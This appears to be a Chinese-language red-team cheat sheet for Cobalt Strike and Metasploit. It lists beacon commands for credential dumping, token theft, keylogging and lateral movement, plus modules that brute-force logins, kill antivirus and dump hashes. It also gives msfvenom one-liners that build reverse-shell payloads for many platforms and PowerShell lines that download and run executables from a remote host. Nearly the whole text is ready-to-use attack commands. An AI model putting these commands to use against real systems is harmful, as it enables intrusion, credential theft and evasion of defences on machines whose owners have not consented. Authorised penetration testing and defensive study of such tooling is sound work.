1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 argue 进程参数欺骗 blockdlls 阻止子进程加载非Microsoft DLL browserpivot 注入受害者浏览器进程 bypassuac 绕过UAC提升权限 cancel 取消正在进行的下载 cd 切换目录 checkin 强制让被控端回连一次 clear 清除beacon内部的任务队列 connect Connect to a Beacon peer over TCP covertvpn 部署Covert VPN客户端 cp 复制文件 dcsync 从DC中提取密码哈希 desktop 远程桌面(VNC) dllinject 反射DLL注入进程dll load 使用LoadLibrary将DLL加载到进程中 download 下载文件 downloads 列出正在进行的文件下载 drives 列出目标盘符 elevate 使用exp execute 在目标上执行程序(无输出) execute-assembly 在目标上内存中执行本地.NET程序 exit 终止beacon会话 getprivs Enable system privileges on current token getsystem 尝试获取SYSTEM权限 getuid 获取用户ID hashdump 转储密码哈希值 help 帮助 inject 在注入进程生成会话 jobkill 结束一个后台任务 jobs 列出后台任务 kerberos_ccache_use 从cache文件中导入票据应用于此会话 kerberos_ticket_purge 清除当前会话的票据 kerberos_ticket_use Apply 从ticket文件中导入票据应用于此会话 keylogger 键盘记录 kill 结束进程 link Connect to a Beacon peer over a named pipe logonpasswords 使用mimikatz转储凭据和哈希值 ls 列出文件 make_token 创建令牌以传递凭据 mimikatz 运行mimikatz mkdir 创建一个目录 mode dns 使用DNS A作为通信通道(仅限DNS beacon) mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon) mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon) mode http 使用HTTP作为通信通道 mv 移动文件 net net命令 note 备注 portscan 进行端口扫描 powerpick 通过Unmanaged PowerShell执行命令 powershell 通过powershell.exe执行命令 powershell-import 导入powershell脚本 ppid Set parent PID for spawned post-ex jobs ps 显示进程列表 psexec Use a service to spawn a session on a host psexec_psh Use PowerShell to spawn a session on a host psinject 在特定进程中执行PowerShell命令 pth 使用Mimikatz进行传递哈希 pwd 当前目录位置 reg Query the registry rev2self 恢复原始令牌 rm 删除文件或文件夹 rportfwd 端口转发 run 在目标上执行程序(返回输出) runas 以其他用户权限执行程序 runasadmin 在高权限下执行程序 runu Execute a program under another PID screenshot 屏幕截图 setenv 设置环境变量 shell 执行cmd命令 shinject 将shellcode注入进程 shspawn 启动一个进程并将shellcode注入其中 sleep 设置睡眠延迟时间 socks 启动SOCKS4代理 socks stop 停止SOCKS4 spawn Spawn a session spawnas Spawn a session as another user spawnto Set executable to spawn processes into spawnu Spawn a session under another PID ssh 使用ssh连接远程主机 ssh-key 使用密钥连接远程主机 steal_token 从进程中窃取令牌 timestamp 将一个文件的时间戳应用到另一个文件 unlink Disconnect from parent Beacon upload 上传文件 wdigest 使用mimikatz转储明文凭据 winrm 使用WinRM横向渗透 wmi 使用WMI横向渗透
msfconsole常用命令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 reload_all #从目录重载所有模块 back #后退命令,移出当前上下文,用于模块切换 info #目标和模块详细信息 check #检查目标是否受某个漏洞影响 background #切到后台 sessions #会话管理 sessions -l #列出所有会话 sessions -K #终止所有会话 sessions -i id #进入某个会话 sessions -v #以详细模式列出会话 sessions -u #在许多平台上将shell升级到meterpreter会话 show options #显示可选选项 auxiliary #显示所有辅助模块 exploits #显示所有漏洞利用模块 payloads #显示所有有效载荷 targets #显示所有可用目标 advanced #显示更多高级选项 encoders #显示可用编码器列表 set/unset #设置/禁用模块中的某个参数 setg/unsetg #设置/禁用适用于所有模块的全局参数 set proxies sock5:127.0.0.1:8000 #设置代理 save #将当前设置值保存下来,以便下次启动MSF终端时仍可使用
msfconsole辅助模块(Auxiliary)端口扫描:
1 2 3 4 5 6 use auxiliary/scanner/portmap/portmap_amp use auxiliary/scanner/portscan/ftpbounce use auxiliary/scanner/portscan/tcp use auxiliary/scanner/portscan/ack use auxiliary/scanner/portscan/syn use auxiliary/scanner/portscan/xmas
服务扫描:
1 2 3 4 5 6 7 8 9 10 11 12 auxiliary/scanner/ssh/ssh_login # SSH爆破 auxiliary/scanner/vnc/vnc_none_auth # VNC空口令扫描 auxiliary/scanner/telnet/telnet_login # Telnet爆破 auxiliary/scanner/smb/smb_version # SMB系统版本扫描 auxiliary/scanner/smb/smb_enumusers # SMB枚举 auxiliary/scanner/smb/smb_login # SMB弱口令登录 auxiliary/admin/smb/psexec_command # 登录SMB且执行命令 auxiliary/scanner/redis/redis_login # Redis爆破 auxiliary/scanner/mssql/mssql_ping # MSSQL主机信息扫描 auxiliary/admin/mssql/mssql_enum # MSSQL枚举 auxiliary/scanner/mysql/mysql_login # MySQL弱口令扫描 auxiliary/admin/mysql/mysql_enum # MySQL枚举
msfconsole后渗透攻击模块 (Post)1 2 3 4 5 6 7 8 9 10 run post/windows/manage/migrate # 自动进程迁移 run post/windows/gather/checkvm # 查看目标主机是虚拟机 run post/windows/manage/killav # 关闭杀毒软件 run post/windows/manage/enable_rdp # 开启远程桌面服务 run post/windows/manage/autoroute # 查看路由信息 run post/windows/gather/enum_logged_on_users # 列举当前登录的用户 run post/windows/gather/enum_applications # 列举目标主机应用程序 run post/windows/gather/credentials/windows_autologin # 抓取自动登录的用户名和密码 run post/windows/gather/smart_hashdump # dump出所有用户的 hash
1 2 3 4 run post/windows/manage/payload_inject # 将另一个payload添加进原有的会话id,从而返回一个新的会话id run post/windows/manage/enable_rdp # 自动开启3389端口(也可任意端口) run post/windows/manage/multi_meterpreter_inject # Inject in Memory射入内存 run post/windows/gather/credentials/sso # 获取明文密码
域控相关:
1 2 3 4 5 6 run post/windows/gather/enum_domain # 查看域控 run post/windows/gather/enum_domain_group_users # 枚举域组 run post/windows/gather/enum_domain_users # 枚举活动域用户 run post/windows/gather/enum_tokens # 枚举域管理令牌 run post/windows/gather/local_admin_search_enum # 收集本地windows管理员 run post/windows/manage/add_user_domain # 将用户添加到域和/或域组
msfconsole渗透攻击模块(Exploit)绕过UAC限制:
1 2 3 4 5 6 7 8 9 exploit/windows/local/bypassuac exploit/windows/local/bypassuac_comhijack exploit/windows/local/bypassuac_eventvwr exploit/windows/local/bypassuac_fodhelper exploit/windows/local/bypassuac_injection exploit/windows/local/bypassuac_injection_winsxs exploit/windows/local/bypassuac_silentcleanup exploit/windows/local/bypassuac_sluihijack exploit/windows/local/bypassuac_vbs
msfenvom生成shell code1 2 3 4 5 6 7 8 Windows: msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c > shellcode.c Linux: msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c > shellcode.c Mac: msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c > shellcode.c
msfenvom生成可执行文件1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Linux: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf Windows: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.128 LPORT=4444 -f exe > shell.exe Mac: msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho PHP: msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php ASP: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp JSP: msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp WAR: msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war Python: msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py Bash: msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh Perl: msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
Meterpreter常用命令1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 meterpreter > background 放回后台 meterpreter > exit 关闭会话 meterpreter > help 帮助信息 meterpreter > sysinfo系统平台信息 meterpreter > screenshot 屏幕截取 meterpreter > shell 命令行shell (exit退出) meterpreter > getlwd 查看本地目录 meterpreter > lcd 切换本地目录 meterpreter > getwd 查看目录 meterpreter > ls 查看文件目录列表 meterpreter > cd 切换目录 meterpreter > rm 删除文件 meterpreter > download C:\\Users\\123\\Desktop\\1.txt 1.txt 下载文件 meterpreter > upload /var/www/wce.exe wce.exe 上传文件 meterpreter > search -d c: -f *.doc 搜索文件 meterpreter > execute -f cmd.exe -i 执行程序/命令 meterpreter > ps 查看进程 meterpreter > run post/windows/capture/keylog_recorder 键盘记录 meterpreter > getuid 查看当前用户权限 meterpreter > use priv 加载特权模块 meterpreter > getsystem 提升到SYSTEM权限 meterpreter > hashdump 导出密码散列 meterpreter > ps 查看高权限用户PID meterpreter > steal_token <PID> 窃取令牌 meterpreter > rev2self 恢复原来的令牌 meterpreter > migrate pid 迁移进程 meterpreter > run killav 关闭杀毒软件 meterpreter > run getgui-e 启用远程桌面 meterpreter > portfwd add -l 1234 -p 3389 -r <目标IP> 端口转发 meterpreter > run get_local_subnets 获取内网网段信息 meterpreter > run autoroute -s <内网网段> 创建自动路由 meterpreter > run autoroute -p 查看自动路由表
各种shell的相互转换 msf派生shell给cobalt Strike1 2 3 4 5 6 7 8 background use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set LHOST xx.x.x.x # CS IP set LPORT xx # CS http监听端口 set session 1 set DISABLEPAYLOADHANDLER true run
cobalt Strike联动msf1 2 3 4 5 use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost xx.xx.xx.xx set lport xx run
选择 foreign 类型的监听进行 Spawn,填写 MSF 的 IP 和监听端口。
command shell转meterpreter接收普通shell:
1 use exploit/multi/handlerset payload windows/shell/reverse_tcprun
ctrl+Z将反弹的普通shell放置后台,调用shell_to_meterpreter模块升级普通shell:
1 use post/multi/manage/shell_to_meterpreterset SESSION <id>set LPORT run
再次输入sessions -l 查看后台的sessions,新增了meterpreter shell。
meterpreter转command shell1 meterpreter > shell 命令行shell (exit退出)
内网其他命令 3389端口开放1 2 3 4 wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f net start TermService
powershell文件下载1 powershell (new-object System.Net.WebClient).DownloadFile('http://1.1.1.1/test.exe','C:\test.exe');start-process 'C:\test.exe'
1 powershell (new-object System.Net.WebClient).DownloadFile('http://1.1.1.1/test.exe','test.exe')
1 Invoke-Expression (New-Object Net.WebClient).DownloadString("http://1.1.1.1/test.ps1")
1 echo (new-object System.Net.WebClient).DownloadFile('http://1.1.1.1/test.exe','C:/test.exe')| powershell -